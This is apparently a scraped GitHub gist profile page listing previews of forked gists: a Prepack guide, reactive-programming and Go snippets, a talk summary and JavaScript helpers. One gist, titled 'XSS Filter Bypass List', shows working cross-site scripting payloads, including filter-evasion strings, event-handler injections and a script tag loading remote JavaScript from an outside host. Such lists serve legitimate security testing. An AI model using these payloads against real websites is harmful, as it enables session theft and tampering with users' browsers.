Skip to content

Instantly share code, notes, and snippets.

View shuding's full-sized avatar
📝

Shu Ding shuding

📝
View GitHub Profile
@shuding
shuding / prepack-gentle-intro-1.md
Created May 25, 2018 09:01 — forked from gaearon/prepack-gentle-intro-1.md
A Gentle Introduction to Prepack, Part 1

Note:

When this guide is more complete, the plan is to move it into Prepack documentation.
For now I put it out as a gist to gather initial feedback.

A Gentle Introduction to Prepack (Part 1)

If you're building JavaScript apps, you might already be familiar with some tools that compile JavaScript code to equivalent JavaScript code:

  • Babel lets you use newer JavaScript language features, and outputs equivalent code that targets older JavaScript engines.
Play this game by pasting the script in https://cyatheatree.github.io/PuzzleScript/editor.html
@shuding
shuding / xxsfilterbypass.lst
Created November 28, 2017 08:04 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@shuding
shuding / introrx.md
Created September 15, 2017 09:44 — forked from staltz/introrx.md
The introduction to Reactive Programming you've been missing
@shuding
shuding / yield-struct-example.go
Created September 6, 2017 13:05 — forked from tastywheat/yield-struct-example.go
golang yield with struct
package main
import "fmt"
import "time"
type person struct {
name string
}
@shuding
shuding / cheng-lou-spectrum-of-abstraction.md
Created August 17, 2017 13:37 — forked from markerikson/cheng-lou-spectrum-of-abstraction.md
Cheng Lou - "On the Spectrum of Abstraction" summarized transcript (React Europe 2016)

Cheng Lou - On the Spectrum of Abstraction

Cheng Lou, a former member of the React team, gave an incredible talk at React Europe 2016 entitled "On the Spectrum of Abstraction". That talk is available for viewing here: https://www.youtube.com/watch?v=mVVNJKv9esE

It's only a half-hour, but it is mind-blowing. It's worth re-watching two or three times, to let the ideas sink in.

I just rewatched the talk for some research, and wrote down a summary that's semi-transcript-ish. I didn't see any other transcripts for this talk, other than the auto-generated closed captions, so I wanted to share for reference.

Summary

@shuding
shuding / ricoh-gr-ii_mini.svg
Last active October 14, 2017 10:43 — forked from tommyjtl/ricoh-gr-ii_mini.svg
ricoh-gr-ii_mini.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
var pureRender = (Component) => {
Object.assign(Component.prototype, {
shouldComponentUpdate (nextProps, nextState) {
return !shallowEqual(this.props, nextProps) ||
!shallowEqual(this.state, nextState);
}
});
};
module.exports = pureRender;
@shuding
shuding / javascript js tips, tricks, snippets.js
Created May 29, 2016 19:39
javascript js tips, tricks, snippets
// random numbergenerator between 0 and 1
var randomNum = ((Math.random () * 2 | 0) + 1) - 1;
// jquery inline style w/ !important
$(el).css("cssText", "overflow: visible !important;");
// random numbergenerator between 1 and 100
Math.round((Math.random() * 99) + 1)
(+new Date() + Math.floor(Math.random()*999999)).toString(36)
@shuding
shuding / observeStore.js
Created January 28, 2016 06:01 — forked from gaearon/observeStore.js
Wait for some condition to become true on a Flux store, useful for react-router async transition hooks
// Usage example:
//
// willTransitionTo(transition, params, query, callback) {
// observeStore(DraftStore, s => s.isLoaded()).then(() => {
// if (DraftStore.isMissingTitle()) {
// transition.redirect('composeDraft', params);
// }
// }).finally(callback);
// }